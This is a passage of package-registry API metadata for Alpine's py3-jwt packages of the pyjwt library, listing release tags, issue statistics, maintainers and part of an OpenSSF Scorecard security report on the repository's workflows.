:"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:36.058Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:apk/alpine/py3-jwt-pyc?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.23","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-jwt-pyc","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-jwt-pyc","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-jwt-pyc/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-jwt-pyc/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-jwt-pyc/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-jwt-pyc/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-jwt-pyc/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-jwt-pyc/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-jwt-pyc/codemeta","maintainers":[{"uuid":"michal@polanski.me","login":null,"name":"Michał Polański","email":null,"url":"https://pkgs.alpinelinux.org/packages?maintainer=Michał Polański","packages_count":378,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Michał Polański","role":null,"created_at":"2026-03-04T22:50:36.613Z","updated_at":"2026-03-04T22:50:36.613Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/maintainers/michal@polanski.me/packages"}],"registry":{"name":"alpine-v3.23","url":"https://pkgs.alpinelinux.org/packages?branch=v3.23","ecosystem":"alpine","default":false,"packages_count":27574,"maintainers_count":428,"namespaces_count":2,"keywords_count":181,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":104},"icon_url":"https://github.com/alpinelinux.png","created_at":"2026-01-24T14:35:50.739Z","updated_at":"2026-06-10T05:17:06.512Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/namespaces"}},{"id":6081776,"name":"py3-jwt","ecosystem":"alpine","description":"Python JSON Web Token implementation (for python3)","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":[],"namespace":"main","versions_count":1,"first_release_published_at":"2018-11-26T16:32:34.000Z","latest_release_published_at":"2018-11-26T16:32:34.000Z","latest_release_number":"1.6.4-r0","last_synced_at":"2026-03-05T05:20:29.942Z","created_at":"2023-01-31T19:57:40.998Z","updated_at":"2026-05-29T04:00:35.966Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.9/main/x86_64/py3-jwt","install_command":"apk add py3-jwt","documentation_url":null,"metadata":{"repository":"main","architecture":"x86_64"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: 